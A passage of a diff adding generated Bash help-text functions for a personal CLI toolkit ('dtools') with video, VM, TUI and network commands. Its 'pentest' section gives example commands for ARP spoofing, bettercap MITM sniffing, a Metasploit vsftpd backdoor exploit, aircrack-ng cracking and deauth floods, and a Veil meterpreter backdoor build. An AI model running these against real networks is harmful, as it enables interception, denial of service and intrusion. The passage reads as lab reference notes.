"%s\n" "$(bold "Usage:")" + printf " dtools tui misc servarr\n" + printf " dtools tui misc servarr --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_sandbox_usage() { + printf "dtools tui sandbox - TUIs for sandboxing applications or experimentation\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui sandbox COMMAND\n" + printf " dtools tui sandbox [COMMAND] --help | -h\n" + echo + # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" + printf " %s Visual jq query editor\n" "$(green "jqp") " + printf " %s A visual Sed IDE to help demystify SED scripts (desed)\n" "$(green "desed") " + printf " %s A Visual sandbox for experimenting with sed, awk, and grep (play)\n" "$(green "play") " + printf " %s A Regex 101-like tool (regect)\n" "$(green "regect")" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_sandbox_jqp_usage() { + printf "dtools tui sandbox jqp - Visual jq query editor\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui sandbox jqp JSON_FILE\n" + printf " dtools tui sandbox jqp --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_args + printf "%s\n" "$(bold "Arguments:")" + + # :argument.usage + printf " %s\n" "$(blue "JSON_FILE")" + printf " The JSON file to perform jq queries against\n" + echo + + # :command.usage_examples + printf "%s\n" "$(bold "Examples:")" + printf " dtools tui sandbox jqp ~/test.json\n" + echo + + fi +} + +# :command.usage +dtools_tui_sandbox_desed_usage() { + printf "dtools tui sandbox desed - A visual Sed IDE to help demystify SED scripts (desed)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui sandbox desed\n" + printf " dtools tui sandbox desed --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_sandbox_play_usage() { + printf "dtools tui sandbox play - A Visual sandbox for experimenting with sed, awk, and grep (play)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui sandbox play PROGRAM\n" + printf " dtools tui sandbox play --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_args + printf "%s\n" "$(bold "Arguments:")" + + # :argument.usage + printf " %s\n" "$(blue "PROGRAM")" + printf " The program you want to play with\n" + printf " %s\n" "Allowed: sed, awk, grep" + echo + + fi +} + +# :command.usage +dtools_tui_sandbox_regect_usage() { + printf "dtools tui sandbox regect - A Regex 101-like tool (regect)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui sandbox regect\n" + printf " dtools tui sandbox regect --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_ai_usage() { + printf "dtools tui ai - TUIs for AI related tooling\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui ai COMMAND\n" + printf " dtools tui ai [COMMAND] --help | -h\n" + echo + # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" + printf " %s A TUI for interacting with LLMs\n" "$(green "elia")" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_ai_elia_usage() { + printf "dtools tui ai elia - A TUI for interacting with LLMs\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui ai elia\n" + printf " dtools tui ai elia --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_pentest_usage() { + printf "dtools pentest - Pentest commands (Documentation only)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools pentest COMMAND\n" + printf " dtools pentest [COMMAND] --help | -h\n" + echo + # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" + printf " %s A social engineering strategy planning and reconnaissance tool\n" "$(green "maltego") " + printf " %s View and modify interfaces (Debian-based OSes only)\n" "$(green "ifconfig") " + printf " %s Scan the network for devices (Debian-based OSes only)\n" "$(green "netdiscover") " + printf " %s Map the network\n" "$(green "nmap") " + printf " %s Perform arp poisoning (Debian-based OSes only)\n" "$(green "arpspoof") " + printf " %s Analyze network data\n" "$(green "bettercap") " + printf " %s Metasploit Framework for executing known exploits against targets\n" "$(green "msfconsole") " + printf " %s Wireless network password cracking\n" "$(green "aircrack-ng") " + printf " %s Generate brute-force passwords wordlist with some constraints. Useful if you have some idea of what the password is already.\n" "$(green "crunch") " + printf " %s Generate backdoor binaries using known exploits\n" "$(green "veil") " + printf " %s Free public load balancing to direct traffic to your local system\n" "$(green "ngrok") " + printf " %s Generates links to a locally hosted website to collect user info\n" "$(green "storm-breaker")" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_pentest_maltego_usage() { + printf "dtools pentest maltego - A social engineering strategy planning and reconnaissance tool\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools pentest maltego\n" + printf " dtools pentest maltego --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_pentest_ifconfig_usage() { + printf "dtools pentest ifconfig - View and modify interfaces (Debian-based OSes only)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools pentest ifconfig\n" + printf " dtools pentest ifconfig --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_examples + printf "%s\n" "$(bold "Examples:")" + printf " # Change local MAC\n ifconfig wlan0 down && ifconfig wlan0 hw ether 00:11:22:33:44:55\n" + printf " # Set wlan0 to monitor mode\n ifconfig wlan0 down && ifconfig wlan0 mode monitor\n" + echo + + fi +} + +# :command.usage +dtools_pentest_netdiscover_usage() { + printf "dtools pentest netdiscover - Scan the network for devices (Debian-based OSes only)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools pentest netdiscover\n" + printf " dtools pentest netdiscover --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_examples + printf "%s\n" "$(bold "Examples:")" + printf " netdiscover -i eth0 -r 10.0.2.0/24 -c 10\n" + echo + + fi +} + +# :command.usage +dtools_pentest_nmap_usage() { + printf "dtools pentest nmap - Map the network\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools pentest nmap\n" + printf " dtools pentest nmap --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_examples + printf "%s\n" "$(bold "Examples:")" + printf " nmap 10.0.2.0/24\n" + printf " # Scan target host for open ports\n # and services\n nmap -v -sS -A -T4 10.0.2.15\n" + echo + + fi +} + +# :command.usage +dtools_pentest_arpspoof_usage() { + printf "dtools pentest arpspoof - Perform arp poisoning (Debian-based OSes only)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools pentest arpspoof\n" + printf " dtools pentest arpspoof --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_examples + printf "%s\n" "$(bold "Examples:")" + printf " # Tell the target that we are the router\n arpspoof -i eth0 -t 10.0.2.6 10.0.2.1\n" + printf " # Tell the router that we are the target\n arpspoof -i eth0 -t 10.0.2.1 10.0.2.6\n" + echo + + fi +} + +# :command.usage +dtools_pentest_bettercap_usage() { + printf "dtools pentest bettercap - Analyze network data\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools pentest bettercap\n" + printf " dtools pentest bettercap --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_examples + printf "%s\n" "$(bold "Examples:")" + printf " # MITM attack\n sudo bettercap wlp2s0\n set arp.spoof.fullduplex true\n set arp.spoof.internal true\n set arp.spoof.targets 10.0.2.6\n arp.spoof on\n net.sniff on # Sniff packets\n" + echo + + fi +} + +# :command.usage +dtools_pentest_msfconsole_usage() { + printf "dtools pentest msfconsole - Metasploit Framework for executing known exploits against targets\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools pentest msfconsole\n" + printf " dtools pentest msfconsole --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_examples + printf "%s\n" "$(bold "Examples:")" + printf " # Exploit FTP 2.3.4 backdoor\n msfconsole\n use exploit/unix/ftp/vsftpd_234_backdoor\n show options\n set rhosts 192.168.0.105\n show targets\n set target 0\n exploit -j -z\n sessions -l\n sessions 1\n background\n" + echo + + fi +} + +# :command.usage +dtools_pentest_aircrack_ng_usage() { + printf "dtools pentest aircrack-ng - Wireless network password cracking\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools pentest aircrack-ng\n" + printf " dtools pentest aircrack-ng --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_examples + printf "%s\n" "$(bold "Examples:")" + printf " airmon-ng start wlan0 # Set wlan0 to monitor mode\n airodump-ng wlan0 # Gather data to find target\n airodump-ng --channel 12 --bssid 00:11:22:33:44:55 --write airodump_dump mon0\n # Gather data for specific target network\n \n # WPA\n aircrack-ng airodump_dump.cap -w wordlist.txt\n \n # WEP\n aircrack-ng airodump_dump.cap\n aireplay-ng --fakeauth 0 -a 00:11:22:33:44:55 -h 22:44:66:88:00:BB # Not\n enough IV's? Fake authentication with network\n aireplay-ng --arpreplay -b 00:11:22:33:44:55 -h 22:44:66:88:00:BB # Then\n replay ARPs to gather more IV's\n \n # DOS\n aireplay-ng --deauth 10000 -a 00:11:22:33:44:55 mon0 # Force network-wide\n deauth to trigger a handshake you can capture\n aireplay-ng --deauth 1000 -a 00:11:22:33:44:55 -c 22:44:66:88:00:11 mon0 #\n Force a deauth against a specific client on network to capture handshake\n" + echo + + fi +} + +# :command.usage +dtools_pentest_crunch_usage() { + printf "dtools pentest crunch - Generate brute-force passwords wordlist with some constraints. Useful if you have some idea of what the password is already.\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools pentest crunch\n" + printf " dtools pentest crunch --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_examples + printf "%s\n" "$(bold "Examples:")" + printf " crunch 6 6 0123456789abcdef -o wordlist.txt\n" + echo + + fi +} + +# :command.usage +dtools_pentest_veil_usage() { + printf "dtools pentest veil - Generate backdoor binaries using known exploits\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools pentest veil\n" + printf " dtools pentest veil --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_examples + printf "%s\n" "$(bold "Examples:")" + printf " # Create a meterpreter TCP backdoor\n cd /opt/Veil && python3 Veil.py\n use 1\n list\n use 7\n set LHOST 10.0.2.4\n generate\n" + echo + + fi +} + +# :command.usage +dtools_pentest_ngrok_usage() { + printf "dtools pentest ngrok - Free public load balancing to direct traffic to your local system\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools pentest ngrok\n" + printf " dtools pentest ngrok --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_examples + printf "%s\n" "$(bold "Examples:")" + printf " # Start an ngrok LB pointing to localhost:2525\n ngrok http 2525\n" + echo + + fi +} + +# :command.usage +dtools_pentest_storm_breaker_usage() { + printf "dtools pentest storm-breaker - Generates links to a locally hosted website to collect user info\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools pentest storm-breaker\n" + printf " dtools pentest storm-breaker --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_examples + printf "%s\n" "$(bold "Examples:")" + printf " cd /opt/Storm-Breaker && sudo python3 st.py\n" + echo + + fi +} + +# :command.usage +dtools_video_usage() { + printf "dtools video - Video commands\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools video COMMAND\n" + printf " dtools video [COMMAND] --help | -h\n" + echo + # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" + printf " %s Rip the audio from a video file.\n" "$(green "rip-audio") " + printf " %s Download YouTube videos\n" "$(green "youtube") " + printf " %s Automatically detect and split scenes in the specified video file\n" "$(green "split-scenes")" + printf " %s Get the duration of a video file\n" "$(green "duration") " + printf " %s Boost the audio of the specified video file\n" "$(green "boost-audio") " + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_video_rip_audio_usage() { + printf "dtools video rip-audio - Rip the audio from a video file.\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools video rip-audio VIDEO_FILE [OPTIONS]\n" + printf " dtools video rip-audio --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_flags + # :flag.usage + printf " %s\n" "$(magenta "--title TITLE")" + printf " The title of the track to add to metadata.\n This defaults to being the same as the name of the output file.\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--output-file OUTPUT_FILE (required)")" + printf " The name of the output file (excluding the file extension).\n" + echo + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_args + printf "%s\n" "$(bold "Arguments:")" + + # :argument.usage + printf " %s\n" "$(blue "VIDEO_FILE")" + printf " The video file to rip audio from\n" + echo + + fi +} + +# :command.usage +dtools_video_youtube_usage() { + printf "dtools video youtube - Download YouTube videos\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools video youtube URL [OPTIONS]\n" + printf " dtools video youtube --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_flags + # :flag.usage + printf " %s\n" "$(magenta "--audio-only")" + printf " Download only the audio from a YouTube video\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--playlist")" + printf " Indicates that the specified URL is a playlist\n" + echo + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_args + printf "%s\n" "$(bold "Arguments:")" + + # :argument.usage + printf " %s\n" "$(blue "URL")" + printf " The URL of the video you wish to download\n" + echo + + fi +} + +# :command.usage +dtools_video_split_scenes_usage() { + printf "dtools video split-scenes - Automatically detect and split scenes in the specified video file\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools video split-scenes VIDEO_FILE [OPTIONS]\n" + printf " dtools video split-scenes --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_flags + # :flag.usage + printf " %s\n" "$(magenta "--content-threshold CONTENT_THRESHOLD")" + printf " The threshold for content detection\n" + printf " %s\n" "Default: 130" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--fade-threshold FADE_THRESHOLD")" + printf " The threshold for fade in/out detection\n" + printf " %s\n" "Default: 5" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--keep-duration KEEP_DURATION")" + printf " The duration in seconds that a video file must be in order to be kept after\n splitting\n" + printf " %s\n" "Default: 8" + echo + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_args + printf "%s\n" "$(bold "Arguments:")" + + # :argument.usage + printf " %s\n" "$(blue "VIDEO_FILE")" + printf " The video file to detect scenes in and to split into separate video files\n" + echo + + # :command.usage_examples + printf "%s\n" "$(bold "Examples:")" + printf " dtools split-scenes file.mp4 --content-threshold 132 --fade-threshold 2\n" + printf " dtools split-scenes file.mp4 --content-threshold 130 --fade-threshold 5\n" + printf " dtools split-scenes file.mp4 --content-threshold 95 --fade-threshold 15\n" + printf " dtools split-scenes file.mp4 --content-threshold 115 --fade-threshold 15\n" + echo + + fi +} + +# :command.usage +dtools_video_duration_usage() { + printf "dtools video duration - Get the duration of a video file\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools video duration VIDEO_FILE\n" + printf " dtools video duration --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_args + printf "%s\n" "$(bold "Arguments:")" + + # :argument.usage + printf " %s\n" "$(blue "VIDEO_FILE")" + printf " The video file to get the duration of\n" + echo + + fi +} + +# :command.usage +dtools_video_boost_audio_usage() { + printf "dtools video boost-audio - Boost the audio of the specified video file\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools video boost-audio VIDEO_FILE [OPTIONS]\n" + printf " dtools video boost-audio --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_flags + # :flag.usage + printf " %s\n" "$(magenta "--multiplier MULTIPLIER")" + printf " The amount to multiply the audio value by\n" + printf " %s\n" "Default: 2.0" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--output-file OUTPUT_FILE (required)")" + printf " Specify the output file name (including the file extension)\n" + echo + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_args + printf "%s\n" "$(bold "Arguments:")" + + # :argument.usage + printf " %s\n" "$(blue "VIDEO_FILE")" + printf " The video file whose audio you want to boost\n" + echo + + fi +} + +# :command.usage +dtools_vm_usage() { + printf "dtools vm - Virtual Machine commands\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools vm COMMAND\n" + printf " dtools vm [COMMAND] --help | -h\n" + echo + # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" + printf " %s Start a windows VM and then open a FreeRDP session to the container. The web version is also available at http://localhost:8006\n" "$(green "windows")" + printf " %s Start a Linux VM that's available at http://localhost:8006 and via SSH on port 2222\n" "$(green "linux") " + printf " %s Start a MacOS VM that's available at http://localhost:8006\n" "$(green "mac") " + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_vm_windows_usage() { + printf "dtools vm windows - Start a windows VM and then open a FreeRDP session to the container. The web version is also available at http://localhost:8006\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools vm windows [OPTIONS]\n" + printf " dtools vm windows --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_flags + # :flag.usage + printf " %s\n" "$(magenta "--persistent-dir-prefix PERSISTENT_DIR_PREFIX")" + printf " Specify the persistence directory ($HOME/.vm/windows/) to load/wipe the\n VM from.\n Defaults to the version (e.g. $HOME/.vm/windows/11)\n" + printf " %s\n" "Needs: --persistent" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--persistent")" + printf " Persist the VM data to disk (persists to $HOME/.vm/windows)\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--wipe-persistent-data")" + printf " Wipe any data persisted between sessions for the given Windows version\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--disk-size DISK_SIZE")" + printf " The disk size of the VM's drive in GB\n" + printf " %s\n" "Default: 64" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--ram-size RAM_SIZE")" + printf " The RAM size of the VM's RAM in GB\n" + printf " %s\n" "Default: 4" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--cpu-cores CPU_CORES")" + printf " The number of CPU cores the VM is allowed to use\n" + printf " %s\n" "Default: 2" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--share-directory SHARE_DIRECTORY")" + printf " The directory to share with the VM (In Windows, this is the Network#host.lan\n machine)\n" + printf " %s\n" "Default: ." + echo + + # :flag.usage + printf " %s\n" "$(magenta "--version VERSION")" + printf " The version of Windows to start\n" + printf " %s\n" "Allowed: 11, 11l, 11e, 10, 10l, 10e, 8e, 7e, ve, xp, 2025, 2022, 2019, 2016, 2012, 2008, 2003" + printf " %s\n" "Default: 11" + echo + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_vm_linux_usage() { + printf "dtools vm linux - Start a Linux VM that's available at http://localhost:8006 and via SSH on port 2222\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools vm linux [OPTIONS]\n" + printf " dtools vm linux --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_flags + # :flag.usage + printf " %s\n" "$(magenta "--persistent-dir-prefix PERSISTENT_DIR_PREFIX")" + printf " Specify the persistence directory ($HOME/.vm/linux/) to load/wipe the\n VM from.\n Defaults to the image (e.g. $HOME/.vm/linux/ubuntu)\n" + printf " %s\n" "Needs: --persistent" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--persistent")" + printf " Persist the VM data to disk (persists to $HOME/.vm/linux)\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--wipe-persistent-data")" + printf " Wipe any data persisted between sessions for the given Linux version\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--no-gui")" + printf " Do not start a VNC connection to the image\n" + printf " %s\n" "Conflicts: --use-rdp" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--use-rdp")" + printf " Start an RDP connection to the container once it starts (Assumes an RDP\n server runs at start in the container)\n" + printf " %s\n" "Conflicts: --no-gui" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--rdp-user RDP_USER")" + printf " Specify the RDP user to use when connecting to the container\n" + printf " %s\n" "Default: $USER" + printf " %s\n" "Needs: --use-rdp" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--rdp-password RDP_PASSWORD")" + printf " Specify the RDP password to use when connecting to the container\n" + printf " %s\n" "Default: admin" + printf " %s\n" "Needs: --use-rdp" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--disk-size DISK_SIZE")" + printf " The disk size of the VM's drive in GB\n" + printf " %s\n" "Default: 128" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--ram-size RAM_SIZE")" + printf " The RAM size of the VM's RAM in GB\n" + printf " %s\n" "Default: 8" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--cpu-cores CPU_CORES")" + printf " The number of CPU cores the VM is allowed to use\n" + printf " %s\n" "Default: 4" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--share-directory SHARE_DIRECTORY")" + printf " The directory to share with the VM (Access by running 'mount -t 9p -o\n trans=virtio shared /mnt/shared' in the container)\n" + printf " %s\n" "Default: ." + echo + + # :flag.usage + printf " %s\n" "$(magenta "--dist DISTRIBUTION")" + printf " The Linux distribution to start\n" + printf " %s\n" "Allowed: alma, alpine, arch, cachy, centos, debian, fedora, gentoo, kali, kubuntu, mint, manjaro, mx, nixos, suse, oracle, rocky, slack, tails, ubuntu, ubuntus, xubuntu" + printf " %s\n" "Conflicts: --image-url" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--image-url IMAGE_URL")" + printf " Boot using a custom image at the specified URL.\n Supported formats are:\n \n .img\n .raw\n .iso\n .qcow2\n .vmdk\n .vhd\n .vhdx\n .vdi\n \n It will also accept files such as .img.gz, .qcow2.xz, .iso.zip, and many\n more because it will automatically extract compressed files\n" + printf " %s\n" "Conflicts: --dist" + echo + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_vm_mac_usage() { + printf "dtools vm mac - Start a MacOS VM that's available at http://localhost:8006\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools vm mac [OPTIONS]\n" + printf " dtools vm mac --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_flags + # :flag.usage + printf " %s\n" "$(magenta "--persistent-dir-prefix PERSISTENT_DIR_PREFIX")" + printf " Specify the persistence directory ($HOME/.vm/mac/) to load/wipe the VM\n from.\n Defaults to the version (e.g. $HOME/.vm/mac/15)\n" + printf " %s\n" "Needs: --persistent" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--persistent")" + printf " Persist the VM data to disk (persists to $HOME/.vm/mac)\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--wipe-persistent-data")" + printf " Wipe any data persisted between sessions for the given Mac version\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--disk-size DISK_SIZE")" + printf " The disk size of the VM's drive in GB\n" + printf " %s\n" "Default: 64" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--ram-size RAM_SIZE")" + printf " The RAM size of the VM's RAM in GB\n" + printf " %s\n" "Default: 4" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--cpu-cores CPU_CORES")" + printf " The number of CPU cores the VM is allowed to use\n" + printf " %s\n" "Default: 2" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--share-directory SHARE_DIRECTORY")" + printf " The directory to share with the VM (Access by running 'mount -S mount_9p\n shared' in the container; Then it's available under Finder -> Go ->\n Computer)\n" + printf " %s\n" "Default: ." + echo + + # :flag.usage + printf " %s\n" "$(magenta "--version VERSION")" + printf " The version of MacOS to start\n" + printf " %s\n" "Allowed: 15, 14, 13, 12, 11" + printf " %s\n" "Default: 13" + echo + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_network_usage() { + printf "dtools network - Network commands\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools network COMMAND\n" + printf " dtools network [COMMAND] --help | -h\n" + echo + # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" + printf " %s Generate a self-signed HTTPS certificate for use in testing\n" "$(green "generate-self-signed-certificate")" + printf " %s Proxy HTTPS traffic\n" "$(green "https-proxy") " + printf " %s Proxy all TCP traffic with simpleproxy (Debian-based systems only)\n" "$(green "tcp-proxy") " + printf " %s Proxy all HTTP and HTTPS requests locally to a remote server using Nginx.\n" "$(green "proxy-with-nginx") " + printf " %s Start a Man-in-the-Middle (MITM) proxy to intercept and log all requests\n" "$(green 